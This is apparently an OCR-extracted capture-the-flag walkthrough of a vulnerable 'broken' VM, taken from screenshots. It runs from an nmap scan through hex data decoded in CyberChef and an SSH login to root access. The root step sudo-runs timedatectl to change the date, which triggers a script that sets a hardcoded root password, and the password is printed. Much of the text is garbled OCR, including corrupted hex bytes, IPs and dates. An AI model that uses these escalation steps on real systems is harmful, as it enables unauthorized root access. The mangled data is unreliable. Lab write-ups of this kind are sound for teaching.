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Currently scanning: Finished! | Screen View: Unique Hosts

5 Captured ARP Req/Rep packets, from 4 hosts. Total size: 300
At MAC Address MAC Vendor / Hostname

©0:50:56:c0:00: VMware,
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:~# nmap -sV -p- 10.0.3.147
Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-23 ©5:46 EDT
Nmap scan report for 10.8.3.147
Host is up (©.0012s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.18

MAC Address: ©0:0C:29:7B:EC:F1 (VMware)

Service Info: Host: 127.0.1.1; 0S: Linux; CPE: cpe:/o:1linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 8.27 seconds https://blog.csdn.netiajiajiang_
80
2 7801 11

1] 2 (i 10.0.3.147

Index of /

Name Last modified Size Description
# README.md 2019-08-09 01:20 55K
gallery.htmi 2019-08-09 01:21 1.1K

®img Sterrejpg  2019-08-09 01:11 259K
W img_forest,jpg 2019-08-09 01:11 114K
[ img_lights jpg 2019-08-09 01:11 663K
= Img_mountains.jpg 2019-08-09 01:11 8.4K

Apache/2.4.18 (Ubuntu) Server at 10.0.3.747 Port 80

&1 i, AHHREADME.mdfy iK1



L)

0xFF,
0=00,
0xz65,
0x70,
0x=04,
0=09,
0x10,
0x24,
0x=04,
0=0C,
0x14,
0x22,
0=01,
0=00,
0=00,
0=01,
0=00,
0=FC,
0=91,

0x=DE,
0=01,
0x64,
0x72,
0x=04,
0=09,
0x=0F,
0x25,
0x=04,
0=09,
0x10,
0x24,
0x=0E,
0xz1C,
0=00,
0=01,
0=00,
0x=9F,
0=CF,

€ (@ 10.0.3.147/README.md

0xFF,
0=00,
0x=20,
0xz65,
0x=04,
0=09,
0x10,
0x25,
0x=04,
0=09,
0x=0F,
0x25,
0=01,
0=00,
0=00,
0=00,
0=00,
0=D3,
0=6B,

0x=EQ,
0=00,
0x=62,
0x73,
0x=04,
0=09,
0x14,
0x24,
0x=04,
0=09,
0x10,
0x25,
0=9D,
0=01,
0=00,
0=00,
0=00,
0=24,
0=DS,

0=00,
0xFF,
0x79,
0x73,
0x=086,
0=09,
0xl1,
0x34,
0x=04,
0=09,
0x14,
0x24,
0x=03,
0=00,
0x=04,
0=00,
0=00,
0x=3D,
0=00,

0x10,
0xFE,
0x=20,
0xFF,
0x=086,
0=0C,
0xl1E,
0x32,
0x=086,
0=09,
0xl1,
0x34,
0=01,
0x=03,
0x=03,
0=00,
0=00,
0x=74,
0=00,

Oxd4,
0=00,
0x=64,
0x=DB,
0x=05,
0x13,
0x17,
0x34,
0x=08,
0=0C,
0x1E,
0x32,
0=22,
0=01,
0x=08,
0=FE,
0=00,
0=00,
0=00,

F F https://gchq.github.io/CyberChef

0x486,
0x1F,
0x70,
0x00,
0x086,
0x0C,
0x15,
Ox44,
0x03,
0x13,
0x17,
0x34,
0x00,
0x01,
0x03,
0xFE,
0x00,
0x00,
0x00,

0x49,
0x43,
0x63,
0xB4,
0x086,
0x0E,
0x13,
Ox44,
0x086,
0x0C,
0x13,
Ox44,
0x02,
0x01,
0x07,
0x00,
0x00,
0x00,
0x00,

Ox=46,
0x=6F,
0x=67,
0x=00,
0x=08,
0x=0C,
0x17,
0x5C,
0x=08,
0x=0E,
0x15,
Ox44,
0x11,
0x=01,
0=02,
0x=00,
0x=00,
0x=00,
0x=00,

0x=00,
0x=6D,
0x2D,
0x04,
0x=07,
0x=0C,
0x1E,
0x01,
0x=08,
0x=0C,
0x17,
0xaC,
0x01,
0x01,
0x01,
0x=00,
0=00,
0=00,
0=00,

0x01,
0x70,
0x72,
0x04,
0x=07,
0x0E,
0x22,
0x04,
0x=07,
0x=0C,
0x1E,
0xFF,
0x=03,
0x=00,
0x=08,
0x=00,
0=07,
0x=29,
0=00,

0x01,
0x72,
0x65,
0x04,
0x=07,
0x=0C,
0x1D,
0x04,
0x=07,
0x0E,
0x22,
0xCZ,
Oxl1,
0x=00,
0xFF,
0x=00,
0=8C,
0x=ASB,
000,

0x=00,
0x65,
0x63,
0x04,
0x=07,
0x13,
0x1B,
0x04,
0x=07,
0x=0C,
0x1D,
0x=00,
0x01,
0x=00,
0xDA,
0x=00,
0x586,
0x=286,
000,

0x=00,
0x73,
0x6F,
0x04,
0x=08,
Oxl1,
0x1D,
0x04,
0x=07,
0x13,
0x1B,
Oxl1,
0xFF,
0x=00,
0x=00,
0x=00,
0xbA4,
0xF3,
000,

0x=01,
0x73,
0x=6D,
0x=04,
0x=0C,
Ox14,
0x22,
0x=04,
0x=08,
0x11,
0x1D,
0x=08,
0x=C4,
0x=00,
0x=08,
0x=00,
OxEA,
OxAF,
000,

R IX AN N2
Download CyberChef ¥

Operations
Search...

Favourites

To Base64
From Baseb4
To Hex

From Hex

To Hexdump
From Hexdump
URL Decode
Regular expression
Entropy

Fork

Magic

Data format

FEnrruntinn [ Fnradina

RAFIZAS A

Last build: 24 days ago - v9 supports multiple inputs and a Node API allowing you to program wi...

Recipe B B ¥
From Hex © n
Delimiter
Auto
To Hex Q mn
Delimiter Bytes per line
Space e <
From Hex Q n
Delimiter
Auto
A
v
STEP
BAKE! Auto Bake

R JE 2R A4 1220 Jpg.

Options &  About / Suppert (@)

length: 5&594

InPUt lines: SE5 + D E i =
BxFF, ©xD8, BxFF, BxE@, 0x08, Bx18, Bx4A, Ox46, Bx49, Bx46, Ox00, Bx91,
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Bx04, Ox04, Bx04, Bx04, Ox06, Bx06, 6x05, Ox06, Ox06, ©x08, Ox07, ©Ox07,
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Aavi1n  Ax1R Av1n  Aw22
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https://gchq.github.io/CyberChef

Hello Bob,
The application is BROKEN ! the whole infrastructure is BROKEN !
| am leaving for my summer vacation, | hope you getit fix soon ...

Cheers.

avrahamcohen.ac@gmail.com
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# ssh broken@le.e.3.147
broken@le.0.3.147"'s password:
Welcome to Ubuntu 16.04 LTS (GNU/Linux 4.4.0-21-generic x86_64)

* Documentation: https://help.ubuntu.com/

762 packages can be updated.
458 updates are security updates.

New release '18.04.4 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

Last login: Thu Apr 23 ©2:36:06 20206 from 10.0.3.141
broken@ubuntu:~% id
uid=1000(broken) gid=1000(broken) groups=1000 (broken§rPRdmS NP EIMHERI,

HER

broken@ubuntu:~$ sudo -1
Matching Defaults entries for broken on ubuntu:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User broken may run the following commands on ubuntu:
(ALL) NOPASSWD: /usr/bin/timedatectl
(ALL) NOPASSWD: /sbin/reboot
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A letclinit.d T (1304

-rwXr-xr-x networking
-rwXr-xr-x network-manager
-rWXr-xXr-x ondemand

-PWXr-Xr-Xx password-policy.sh
-rwXr-xr-x plymouth
-rwXr-xr-x plymouth-log
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broken@ubuntu:/etc/init.d$ cat password-policy.sh
#!/bin/bash

DAYOFWEEK=$%(date +"%u")
echo DAYOFWEEK: $DAYOFWEEK

if [ "$DAYOFWEEK" -eq 4 ]
then

sudo sh -c 'echo root:TodayIsAgoodDay | chpasswd'
fi

#1f [ "$DﬁYOFNEEK" == 4 ] https://blog.csdn.net/Jiajiajiang_

EIAVURS, rootf %5 M A TodaylsAgoodDay
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broken@ubuntu:/etc/init.d$ /usr/bin/timedatectl -h
timedatectl [OPTIONS...] COMMAND .

Query or change system time and date settings.

-h --help Show this help message
--version Show package version
--no-pager Do not pipe output into a pager
--no-ask-password Do not prompt for password
-H --host=[USER@]HOST Operate on remote host
-M --machine=CONTAINER Operate on local container
--adjust-system-clock Adjust system clock when changing local RTC mode

Commands:
status Show current time settings
set-time TIME Set system time
set-timezone ZONE Set system time zone
list-timezones Show known time zones
set-local-rtc BOOL Control whether RTC is in local time
set-ntp BOOL Enable or disable network timeh#pprkingesdd.neitibiaiang_

ATLMESH

broken@ubuntu: /etc/init.d$ sudo /usr/bin/timedatectl set-time "2020-04-23"
broken@ubuntu:/etc/init.d$ (date +"%u")
4




:~# ssh brokengl®.0.3.147
brokenal®.8.3.147's password:
Welcome to Ubuntu 16.@4 LTS (GNU/Linux &.4.8-21-generic x86_64)

* Documentation: https://help.ubuntu.com/

762 packages can be updated.
458 updates are security updates.

New release '18.84.4 LTS' available.
Run 'do-release-upgrade’' to upgrade to 1it.

Last login: Thu Apr 23 ©02:22:02 2020 from 10.0.3.141
brokenaubuntu:~$ su root

Password:

dd'd'su: Authentication failure

brokenaubuntu:~$ su root

Password:

root@ubuntu:/home/broken# 1s

examples.desktop bitps:djlog.csdn.pelJiajiajiang_
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